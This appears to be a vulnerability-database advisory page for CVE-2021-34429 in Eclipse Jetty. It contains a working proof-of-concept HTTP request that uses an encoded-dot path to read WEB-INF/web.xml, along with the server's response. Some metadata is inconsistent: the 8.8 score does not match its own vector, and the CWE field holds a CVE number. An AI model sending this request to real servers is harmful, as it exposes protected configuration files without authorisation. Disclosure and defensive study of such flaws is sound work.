Eclipse Jetty 11.0.5 - Sensitive File Disclosure

vendor:

Jetty

by:

Mayank Deshmukh

8.8

CVSS

HIGH

Sensitive File Disclosure

284

CWE

Product Name: Jetty

Affected Version From: 9.4.37

Affected Version To: 9.4.43, 10.0.1, 10.0.6, 11.0.1, 11.0.6

Patch Exists: YES

Related CWE: CVE-2021-34429

CPE: a:eclipse:jetty

Metasploit: https://www.rapid7.com/db/vulnerabilities/suse-cve-2021-34429/

Other Scripts:

Tags: cve,cve2021,jetty

CVSS Metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Nuclei References: https://github.com/eclipse/jetty.project/security/advisories/GHSA-vjv5-gp2w-65vm, https://lists.apache.org/thread.html/r763840320a80e515331cbc1e613fa93f25faf62e991974171a325c82@dev.zookeeper.apache.org, https://lists.apache.org/thread.html/r7dd079fa0ac6f47ba1ad0af98d7d0276547b8a4e005f034fb1016951@issues.zookeeper.apache.org, https://nvd.nist.gov/vuln/detail/CVE-2021-34429, https://lists.apache.org/thread.html/r029c0c6833c8bb6acb094733fd7b75029d633f47a92f1c9d14391fc0@notifications.zookeeper.apache.org

Nuclei Metadata: {'max-request': 2, 'vendor': 'eclipse', 'product': 'jetty'}

Platforms Tested: Kali Linux

2021

Eclipse Jetty 11.0.5 – Sensitive File Disclosure

A vulnerability in Eclipse Jetty could allow an unauthenticated, remote attacker to gain access to sensitive information on a targeted system. The vulnerability is due to improper access control of certain files. An attacker could exploit this vulnerability by sending a crafted HTTP request to the targeted system. A successful exploit could allow the attacker to gain access to sensitive information, such as web.xml file.

Mitigation:

Upgrade to the latest version of Eclipse Jetty.

Source

Exploit-DB raw data:

# Exploit Title: Eclipse Jetty 11.0.5 - Sensitive File Disclosure 
# Date: 2021-11-03
# Exploit Author: Mayank Deshmukh
# Vendor Homepage: https://www.eclipse.org/jetty/
# Software Link: https://repo1.maven.org/maven2/org/eclipse/jetty/jetty-distribution/
# Version: 9.4.37 ≤ version < 9.4.43, 10.0.1 ≤ version < 10.0.6, 11.0.1 ≤ version < 11.0.6
# Security Advisory: https://github.com/eclipse/jetty.project/security/advisories/GHSA-vjv5-gp2w-65vm
# Tested on: Kali Linux
# CVE : CVE-2021-34429
# Github POC: https://github.com/ColdFusionX/CVE-2021-34429

POC - Access WEB-INF/web.xml 

## Request

GET /%u002e/WEB-INF/web.xml HTTP/1.1
Host: localhost:9006
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

## Response

HTTP/1.1 200 OK
Connection: close
Last-Modified: Wed, 03 Nov 2021 08:25:24 GMT
Content-Type: application/xml
Accept-Ranges: bytes
Content-Length: 209
Server: Jetty(11.0.5)

<!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
<display-name>ColdFusionX - Web Application</display-name>
</web-app>